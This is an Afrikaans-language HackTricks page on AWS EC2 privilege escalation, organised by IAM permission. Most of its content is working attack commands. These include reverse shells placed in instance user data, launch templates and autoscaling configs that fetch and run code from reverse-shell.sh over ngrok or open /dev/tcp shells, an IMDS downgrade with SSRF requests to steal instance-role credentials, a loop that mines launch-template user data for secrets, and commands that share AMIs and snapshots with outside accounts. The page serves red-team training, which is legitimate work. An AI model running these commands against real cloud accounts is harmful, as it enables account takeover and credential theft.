AWS - EC2 Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

EC2

Vir meer inligting oor EC2 kyk:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

’n Aanvaller kan ’n instance skep wat ’n IAM role aangeheg het en dan toegang tot die instance kry om die IAM role se inlogbewyse vanaf die metadata-endpoint te steel.

  • Toegang via SSH

Start ’n nuwe instance met ’n gemaakte ssh key (--key-name) en ssh dan daarin in (as jy ’n nuwe een wil skep mag jy die toestemming ec2:CreateKeyPair nodig hê).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Toegang via rev shell in user data

Jy kan ’n nuwe instance begin met ’n user data (--user-data) wat vir jou ’n rev shell sal stuur. Jy hoef nie ’n security group te spesifiseer op hierdie manier nie.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Wees versigtig met GuradDuty as jy die credentials van die IAM role buite die instance gebruik:

AWS - GuardDuty Enum

Potential Impact: Direkte privesc na enige EC2 role wat aan bestaande instance profiles aangeheg is.

Privesc na ECS

Met hierdie stel permissions kan jy ook n EC2 instance skep en dit registreer binne ’n ECS cluster. Op hierdie manier sal ECS services in die EC2 instance waaroor jy toegang het, uitgevoer word en dan kan jy daardie services (docker containers) penetrate en steal their ECS roles attached.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Om te leer hoe om ECS services af te dwing om in hierdie nuwe EC2-instansie te hardloop, kyk:

AWS - ECS Privesc

As jy nie ’n nuwe instansie kan skep nie maar die toestemming ecs:RegisterContainerInstance het, kan jy dalk die instansie binne die cluster registreer en die genoemde aanval uitvoer.

Potensiële impak: Direkte privesc na ECS roles wat aan tasks gekoppel is.

iam:PassRole, iam:AddRoleToInstanceProfile

Soos in die vorige scenario, kan ’n aanvaller met hierdie toestemmings die IAM role van ’n gekompromitteerde instansie verander sodat hy nuwe credentials kan steel.
Aangesien ’n instance profile slegs 1 role kan hê, as die instance profile reeds ’n role het (algemene geval), sal jy ook iam:RemoveRoleFromInstanceProfile nodig hê.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

As die instance profile het ’n role en die attacker dit kan dit nie verwyder nie, is daar nog ’n ompad. Hy kan vind ’n instance profile sonder ’n role of skep ’n nuwe een (iam:CreateInstanceProfile), voeg die role by daardie instance profile (soos voorheen bespreek), en koppel die instance profile compromised aan ’n compromised instance:

  • As die instance het nie enige instance profile (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potensiële impak: Direkte privesc na ’n ander EC2-rol (jy moet reeds ’n AWS EC2-instance gekompromitteer hê en sekere ekstra permissies of ’n spesifieke instance profile-status).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Met hierdie permissies is dit moontlik om die instance profile wat aan ’n instance gekoppel is, te verander — as die aanvaller reeds toegang tot ’n instance het, sal hy in staat wees om kredensiale van meer instance profile-rolle te steel deur die een wat daaraan geassosieer is te verander.

  • As dit ’n instance profile het, kan jy die instance profile verwyder (ec2:DisassociateIamInstanceProfile) en dit koppel
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • of vervang die instance profile van die gekompromitteerde instance (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Potensiële impak: Direkte privesc na ’n ander EC2 role (jy moet ’n AWS EC2 instance gekompromitteer hê en sekere ekstra permissies of ’n spesifieke instance profile-status).

ec2:RequestSpotInstances,iam:PassRole

’n aanvaller met die permissies ec2:RequestSpotInstancesandiam:PassRole kan request ’n Spot Instance met ’n EC2 Role attached en ’n rev shell in die user data.
Sodra die instance begin loop, kan hy die IAM role steel.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

’n aanvaller met die ec2:ModifyInstanceAttribute kan die instansie se eienskappe wysig. Onder andere kan hy die change the user data, wat impliseer dat hy die instansie kan laat run arbitrary data. Dit kan gebruik word om ’n rev shell to the EC2 instance te kry.

Let wel dat die eienskappe slegs modified while the instance is stopped kan word, daarom is die permissions ec2:StopInstances en ec2:StartInstances nodig.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potential Impact: Direkte privesc na enige EC2 IAM Role wat aan ’n geskepte instance gekoppel is.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

’n aanvaller met die permissies ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate kan ’n new Launch Template version skep met ’n rev shell in die user data en any EC2 IAM Role on it, die default version verander, en any Autoscaler group using that Launch Template wat configured is om die latest of die default version te gebruik, sal die re-run the instances doen wat daardie template gebruik en die rev shell sal uitgevoer word.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potential Impact: Direkte privesc na ’n ander EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

’n aanvaller met die permissies autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole kan create a Launch Configuration met ’n IAM Role en ’n rev shell binne die user data, dan create an autoscaling group vanaf daardie config en wag dat die rev shell steal the IAM Role.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potensiële impak: Direkte privesc na ’n ander EC2 role.

!autoscaling

Die stel permitte ec2:CreateLaunchTemplate en autoscaling:CreateAutoScalingGroup is nie genoeg om voorregte te eskaleer na ’n IAM role nie, want om die role wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg, benodig jy die permitte iam:PassRoleand ec2:RunInstances (wat ’n bekende privesc is).

ec2-instance-connect:SendSSHPublicKey

’n aanvaller met die permit ec2-instance-connect:SendSSHPublicKey kan ’n ssh sleutel by ’n gebruiker voeg en dit gebruik om toegang daartoe te kry (as hy ssh toegang tot die instance het) of om voorregte te eskaleer.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potensiële impak: Direkte privesc na die EC2 IAM roles wat aan lopende instances geheg is.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

’n aanvaller met die toestemming ec2-instance-connect:SendSerialConsoleSSHPublicKey kan ’n ssh key by ’n seriële konneksie voeg. As die seriële poort nie geaktiveer is nie, het die aanvaller die toestemming ec2:EnableSerialConsoleAccess nodig om dit te aktiveer.

Om aan die seriële poort te koppel, moet jy ook die username en password van ’n gebruiker binne die masjien ken.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Hierdie metode is nie baie nuttig vir privesc nie, aangesien jy ’n gebruikersnaam en wagwoord nodig het om dit te misbruik.

Potential Impact: (Uiters moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances geheg is.

describe-launch-templates,describe-launch-template-versions

Aangesien launch templates weergawebeheer het, kan ’n aanvaller met ec2:describe-launch-templates en ec2:describe-launch-template-versions permissies dit misbruik om sensitiewe inligting te ontdek, soos credentials wat in user data voorkom. Om dit te doen, deurloop die volgende script al die weergawes van die beskikbare launch templates:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (aws_|password|token|api), kan jy ’n ander regex gebruik om na ander tipes sensitiewe inligting te soek.

As ons aws_access_key_id en aws_secret_access_key vind, kan ons hierdie credentials gebruik om by AWS te autentiseer.

Potensiële impak: Direkte privilege escalation na IAM-gebruiker(s).

Verwysings

ec2:ModifyInstanceMetadataOptions (IMDS-afgradering om SSRF credential theft moontlik te maak)

’n Aanvaller met die vermoë om ec2:ModifyInstanceMetadataOptions op ’n slagoffer EC2-instansie aan te roep, kan IMDS-beskerming verswak deur IMDSv1 (HttpTokens=optional) te aktiveer en die HttpPutResponseHopLimit te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instansie loop. As die aanvaller ’n SSRF in so ’n toepassing kan trigger, kan hulle die instance profile credentials onttrek en daarmee pivot.

  • Vereiste permissies: ec2:ModifyInstanceMetadataOptions op die teikeninstansie (plus die vermoë om ’n SSRF op die gasheer te bereik/trigger).
  • Teikenbron: Die lopende EC2-instansie met ’n aangehegte instance profile (IAM role).

Voorbeeldopdragte:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2 role permissions.

ec2:ModifyInstanceMetadataOptions

’n Aanvaller met die ec2:ModifyInstanceMetadataOptions toestemming kan Instance Metadata Service (IMDS) beskerming verswak — byvoorbeeld deur IMDSv1 af te dwing (waardeur HttpTokens nie vereis word nie) of deur HttpPutResponseHopLimit te verhoog — wat die exfiltration van temporary credentials vergemaklik. Die mees relevante risiko-vektor is die verhoging van HttpPutResponseHopLimit: deur daardie hop limit (TTL) te verhoog, hou die 169.254.169.254 endpoint nie meer streng tot die VM se netwerk-namespace beperk nie en kan dit deur ander prosesse/containers bereik word, wat credential theft moontlik maak.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

’n aanvaller met die ec2:ModifyImageAttribute en ec2:ModifySnapshotAttribute permissies kan AMIs of snapshots met ander AWS-rekeninge deel (of selfs openbaar maak), wat images of volumes kan blootstel wat sensitiewe data bevat soos konfigurasies, credentials, sertifikate of backups. Deur ’n AMI se launch-permissies of ’n snapshot se create-volume-permissies te wysig, stel die aanvaller derde partye in staat om instances te launch of disks van daardie hulpbronne te mount en toegang tot hul inhoud te kry.

Om ’n AMI met ’n ander rekening te deel:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Om ’n EBS snapshot met ’n ander rekening te deel:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks